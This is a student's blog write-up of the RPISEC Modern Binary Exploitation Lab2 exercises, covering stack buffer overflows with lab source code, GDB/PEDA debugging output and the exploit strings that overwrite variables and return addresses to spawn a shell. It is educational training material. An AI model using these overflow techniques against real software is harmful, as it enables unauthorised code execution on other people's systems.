This semester I am taking an independent study at Purdue focusing on “Binary Analysis” working through the problems provided by RPISEC in their Modern Binary Exploitation course MBE is an introduction to different types of vulnerabilities in software, and provides and easy, medium, and hard version of each vulnerability. There are also two course projects I plan to solve during my semester. The course “projects” are example CTF pwn category problems. (Harder versions of my classwork). All of the problems are 32bit elf executables for most of the course, and ASLR is enabled about halfway through the course. My goal this semester is to finish the majority of the course and provide notes/explanations for each lab on my blog. I hope this can be an opportunity for me to show what I have learned, but also keep notes for my future self.

Lab2

This lab focuses on stack overflows and basic memory exploitation. I downloaded the binaries onto my local ubuntu 18.04 machine.

Lab2C

The below code is the source for the LAB2C executable. This is a very simple buffer overflow of 15 bytes. When the set_me stack variable is filled with the correct 0xdeadbeef bytes, the shell command is executed. This was an introductory problem designed to help familiarize myself with how the compiler creates and adds values to the stack in memory. The techniques used to analyze the stack will be covered in Lab2B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector lab2C.c -o lab2C
 */

void shell()
{
    printf("You did it.\n");
    system("/bin/sh");
}

int main(int argc, char** argv)
{
    if(argc != 2)
    {
        printf("usage:\n%s string\n", argv[0]);
        return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15]; // < -- Buffer to exploit
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
        shell(); //<-- executes a shell
    }
    else
    {
        printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}

Below is the python exploit I used to overflow the buffer:

The bytes are in little endian order, x86 architecture stores integers in little endian order Endianness Once executed the set_me variable is filled with the correct values and the program calls the shell() function. I print out the .pass variable to simulate the goal of the original wargame created by MBE.

General Tools/Notes

Below I want to make notes for myself and readers about useful commands/syntax/tools etc that will be helpful in future binary challenges Useful commands/syntax learned:

GDB:

Gdb Cheat Sheet

1
2
3
4
5
r $( command )
r < <( command )
B [Func]
B i  (list breakpoints)
x/[Format] ADDR

FORMAT:

x/nfu [address]

  • n: How many units to print (default 1)
  • f: Format character (like „print“).
  • u: Unit. Unit is one of:
    • b: Byte
    • h: Half-word (two bytes)
    • w: Word (four bytes)
    • g: Giant word (eight bytes)).

Peda

Peda is the tool MBE site uses and is SUPER useful for exploitation. I’ll include a few screenshots below in this part. Below are some useful commands, along with a link to more. Great List of commands for Peda

context_[stack/register/code]
xinfo register [register]
telescope [address] [#]
pattern [search\offset $pc]
stepuntil [instr]
nextcall [func] // nextjmp
hexdump [address] [count]

Other:

Converting hex to decimal for quick math checks: source To convert from decimal to hex,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$ printf '%x\n' 346  
15a  
 $ perl -e 'printf ("%x\n", 346)'  
15a  
 $ echo 'ibase=10;obase=16;346' | bc  
15A  

To convert a number from hexadecimal to decimal:  
 $ echo $((0x15a))  
346  
 $ printf '%d\n' 0x15a  
346  
 $ perl -e 'printf ("%d\n", 0x15a)'  
346  
 $ echo 'ibase=16;obase=A;15A' | bc  
346  

Regsiter quick reference:

$pc -> register with program counter (i.e. $eip)
$sp -> register with stack pointer (i.e. $esp)
$fp -> register with pointer to stack frame (i.e. $ebp)

Below is an image of memory. Useful to remember stack grows up (higher -> lower), heap grows down (lower -> higher). I always seem to forget this, and I want a reminder. This is important as in new stack frames (i.e. each function call) the old eip, ebp registers are pushed first with each stack frame (i.e. higher memory addresses) Useful Memory Image

Lab2B

Below is the source code with some comments of analysis of Lab2B executable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
* compiled with:
* gcc -O0 -fno-stack-protector lab2B.c -o lab2B
*/

char* exec_string = "/bin/sh"; \\< -- string used as input to shell command 

void shell(char* cmd) \\< -- Need to identify this address to execute shell command
{
  system(cmd); \\<-- requires input of "\bin\sh" string @ exec_string addr
}

void print_name(char* input)
{
  char buf[15]; \\<-- buffer needed to overflow
  strcpy(buf, input); \\<-- user input to overflow
  printf("Hello %s\n", buf);
}

int main(int argc, char** argv)
{
  if(argc != 2)
  {
      printf("usage:\n%s string\n", argv[0]);
      return EXIT_FAILURE;
  }

  print_name(argv[1]);

  return EXIT_SUCCESS;
}

During debugging during the initial execution the address required to overwrite is seen in the telescope command output.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
gdb-peda$ telescope 20
0000| 0xffffd030 --> 0xffffd041 --> 0xf7fb53 
0004| 0xffffd034 --> 0xffffd306 ("AAAAA")
0008| 0xffffd038 --> 0x0 
0012| 0xffffd03c --> 0x8048541 (<_init+9>:  add    ebx,0x1abf)
0016| 0xffffd040 --> 0xf7fb53fc --> 0xf7fb6200 --> 0x0 
0020| 0xffffd044 --> 0x0 
0024| 0xffffd048 --> 0x804a000 --> 0x8049f14 --> 0x1 \\<-- old EBP 
0028| 0xffffd04c --> 0x8048792 (<__libc_csu_init+82>:   add    edi,0x1) \\<-- RETURN ADDR
0032| 0xffffd050 --> 0x2 

Now in order to jump to the shell function this address needs to be overwritten 27 bytes into the stack (the 28th byte is the start of the return address). Luckily PEDA makes this easy with the number of bytes on the left hand side. The address also needs to be in little endian order. Current Exploit: $(python -c ‘print 0x1B * “A” + “\xbd\x86\x04\x08” ‘)

Now, in order to use the shell function it requires a string argument (shell calls system() which expects a string), luckily there is already a exec_string variable that can be used! Using peda, the address of the exec_string variable can be printed. 0x0804a028 holds the address of the actual string, at address 0x080487d0.

1
2
3
4
5
6
7
gdb-peda$ p &exec_string
$3 = (<data variable, no debug info> *) 0x804a028 <exec_string>
gdb-peda$ telescope 0x0804a028 20
0000| 0x804a028 --> 0x80487d0 ("/bin/sh")
0004| 0x804a02c --> 0x0 
0008| 0x804a030 --> 0x0 
0012| 0x804a034 --> 0x0

Current Exploit: $(python -c ‘print 0x1B * “A” + “\xbd\x86\x04\x08” + “\xd0\x87\x04\x08”’)

Except the following issue occurs:

The issue is that the address of exec_string added right after the return address is not in the correct place! Below we see the expected address location for the address at ebp+0x8.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[-------------------------------------code-------------------------------------]
0x80486bd <shell>:   push   ebp
0x80486be <shell+1>: mov    ebp,esp
0x80486c0 <shell+3>: sub    esp,0x18
=> 0x80486c3 <shell+6>: mov    eax,DWORD PTR [ebp+0x8] \\<--address of string for system()
0x80486c6 <shell+9>: mov    DWORD PTR [esp],eax
0x80486c9 <shell+12>:    call   0x8048590 <system@plt>
0x80486ce <shell+17>:    leave  
0x80486cf <shell+18>:    ret
[------------------------------------stack-------------------------------------]

Printing this value reveals the expected stack address!

1
2
gdb-peda$ p $ebp+0x8
$1 = (void *) 0xffffd044

The address passed into the buffer overflow is 4 bytes below this address! Simply adding 4 more bytes to the exploit should put the address of the string at the right place!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
  [------------------------------------stack-------------------------------------]
  0000| 0xffffd024 ('A' <repeats 28 times>, "Ї\004\b")
  0004| 0xffffd028 ('A' </repeats><repeats 24 times>, "Ї\004\b")
  0008| 0xffffd02c ('A' </repeats><repeats 20 times>, "Ї\004\b")
  0012| 0xffffd030 ('A' </repeats><repeats 16 times>, "Ї\004\b")
  0016| 0xffffd034 ('A' </repeats><repeats 12 times>, "Ї\004\b")
  0020| 0xffffd038 ("AAAAAAAAЇ\004\b")
  0024| 0xffffd03c ("AAAAЇ\004\b")
  0028| 0xffffd040 --> 0x80487d0 ("/bin/sh")
  [------------------------------------------------------------------------------]

Below I have the final execution of the exploit:

Lab2A

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector lab2A.c -o lab2A
 */

void shell()
{
    printf("You got it\n");
    system("/bin/sh");
}

void concatenate_first_chars()
{
    struct {
        char word_buf[12]; 
        int i;
        char* cat_pointer;
        char cat_buf[10];
    } locals;
    locals.cat_pointer = locals.cat_buf; < -- cat_pointer starts at the end of the struct

    printf("Input 10 words:\n");
    for(locals.i=0; locals.i!=10; locals.i++) <-- gain control of i to control the loop
    {
        // Read from stdin \\<-- uses 0x10 not 10, 6 extra bytes!
        if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
        { \\<-- fgets reads until size or '\n'
            printf("Failed to read word\n");
            return;
        }
        // Copy first char from word to next location in concatenated buffer
        *locals.cat_pointer = *locals.word_buf; <-- writes to location at cat_pointer
        locals.cat_pointer++;
    }

    // Even if something goes wrong, there's a null byte here
    //   preventing buffer overflows
    locals.cat_buf[10] = '\0';
    printf("Here are the first characters from the 10 words concatenated:\n\
%s\n", locals.cat_buf);
}

int main(int argc, char** argv)
{
    if(argc != 1)
    {
        printf("usage:\n%s\n", argv[0]);
        return EXIT_FAILURE;
    }

    concatenate_first_chars();

    printf("Not authenticated\n");
    return EXIT_SUCCESS;
}

Here the goal is like all the others, overflow the return address of concatenate_first_chars and gain control of the return address. fgets will read in 16 bytes instead of the expected 10, since 0x10 is hex. This allows an overflow into i! (Only 3 bytes though, due to the last byte of the array being set to null by fgets: man fgets). This is because i is stored directly next to word_buff inside the struct. The addition of the struct also helped with overflowing the return address, since the struct pushes variables to the stack from bottom to top. (i.e. cat_buf is at the highest spot in the stack). source1 source2 This was confusing at first, but makes sense after reading the articles and analysis.

Since the check at the for loop is: locals.i != 10, this means the loop can be taken continuously if i is never equal to 10! (Which is easy with the buffer overflow). Therefore, in order to overwrite the return address properly, walk the locals.cat_pointer++ up the stack to the last byte before the return address!

Running the executable after a few inputs of 16 characters is show in the hexdump and stack printout below. This helped me see how the variables were arranged on the stack, and where the return address was located.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gdb-peda$ hexdump $esp 64
0xffffd020 : 30 d0 ff ff 10 00 00 00 c0 55 fb f7 48 87 fb f7   0........U..H...
0xffffd030 : 61 73 64 66 61 73 64 66 42 42 41 41 42 0a 00 00   asdfasdfBBAAB...
0xffffd040 : 4e d0 ff ff 61 61 73 64 61 61 61 61 41 61 04 08   N...aasdaaaaAa..
0xffffd050 : 01 00 00 00 14 d1 ff ff 78 d0 ff ff e6 87 04 08   ........x.......
gdb-peda$ telescope $esp 20
0000| 0xffffd020 --> 0xffffd030 ("asdfasdfBBAAB\n")
0004| 0xffffd024 --> 0x10 
0008| 0xffffd028 --> 0xf7fb55c0 --> 0xfbad2288 
0012| 0xffffd02c --> 0xf7fb8748 --> 0x0 
0016| 0xffffd030 ("asdfasdfBBAAB\n")
0020| 0xffffd034 ("asdfBBAAB\n")
0024| 0xffffd038 ("BBAAB\n")
0028| 0xffffd03c --> 0xa42 ('B\n')
0032| 0xffffd040 --> 0xffffd04e --> 0x10804 
0036| 0xffffd044 ("aasdaaaaAa\004\b\001")
0040| 0xffffd048 ("aaaaAa\004\b\001")
0044| 0xffffd04c --> 0x8046141 
0048| 0xffffd050 --> 0x1 
0052| 0xffffd054 --> 0xffffd114 --> 0xffffd2d7 ("/home/master/ctf/mbe/MBE_release/levels/lab02/lab2A")
0056| 0xffffd058 --> 0xffffd078 --> 0x0 
0060| 0xffffd05c --> 0x80487e6 (<main+48>:  mov    DWORD PTR [esp],0x8048915)
0064| 0xffffd060 --> 0xf7fe59b0 (push   ebp)
0068| 0xffffd064 --> 0x0 
0072| 0xffffd068 --> 0x804880b (<__libc_csu_init+11>:   add    ebx,0x17f5)
0076| 0xffffd06c --> 0x0

Above, at 0xffffd030 is the start of the word_buf variable. Then, the struct variables are all stored in the stack in increasing order. This means at 0xffffd03c is the start of i’s data, *0xffffd040 is the start of the cat_pointer’s address, 0xffffd044 is the start of cat_buff. At offset 0xffffd05c is the return address 0x80487e6. This address is 24 bytes below the start of cat_buff ( expr $((0x5c)) - $((0x44)) = 24 ) which can be checked by printing out the disassembled main function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 gdb-peda$ pdisass &main
 Dump of assembler code for function main:
    0x080487b6 <+0>: push   ebp
    0x080487b7 <+1>: mov    ebp,esp
    0x080487b9 <+3>: and    esp,0xfffffff0
    0x080487bc <+6>: sub    esp,0x10
    0x080487bf <+9>: cmp    DWORD PTR [ebp+0x8],0x1
    0x080487c3 <+13>:    je     0x80487e1 <main+43>
    0x080487c5 <+15>:    mov    eax,DWORD PTR [ebp+0xc]
    0x080487c8 <+18>:    mov    eax,DWORD PTR [eax]
    0x080487ca <+20>:    mov    DWORD PTR [esp+0x4],eax
    0x080487ce <+24>:    mov    DWORD PTR [esp],0x804890a
    0x080487d5 <+31>:    call   0x80485a0 <printf@plt>
    0x080487da <+36>:    mov    eax,0x1
    0x080487df <+41>:    jmp    0x80487f7 <main+65>
    0x080487e1 <+43>:    call   0x804871d <concatenate_first_chars>
    0x080487e6 <+48>:    mov    DWORD PTR [esp],0x8048915
    0x080487ed <+55>:    call   0x80485c0 <puts@plt>
    0x080487f2 <+60>:    mov    eax,0x0
    0x080487f7 <+65>:    leave  
    0x080487f8 <+66>:    ret    
 End of assembler dump.

So the last step is to determine the address of shell(). Which is done by printing its address.

1
2
gdb-peda$ p &shell
$38 = (<text variable, no debug info> *) 0x80486fd <shell>

So finally the final exploit can be run. The only time, the whole word_buf needs to be filled is during the first overflow ( "A" * 14 + "\n" ). After that, since the cat_pointer only sets itself to the value of the first character in the buffer, a single character is all that is needed( "A\n"*23 ). This puts the cat_pointer at the start of the return address. Finally, writing shell() address in little endian order, one byte at a time( "\xfd\n\x86\n\x04\n\x08\n" ). The last “\n” sent by the print function ends the for loop and the return address almost pops a shell.``

Below is the almost final execution of the exploit!

I was very confused why the shell never ran, even after I had properly executed the shell, since it printed out the winning text: “you got it”. After a little bit of googling, I came across the answer: allow input/output redirection Using a cat command following the exploit, allows stdin to stay open for input into my shell!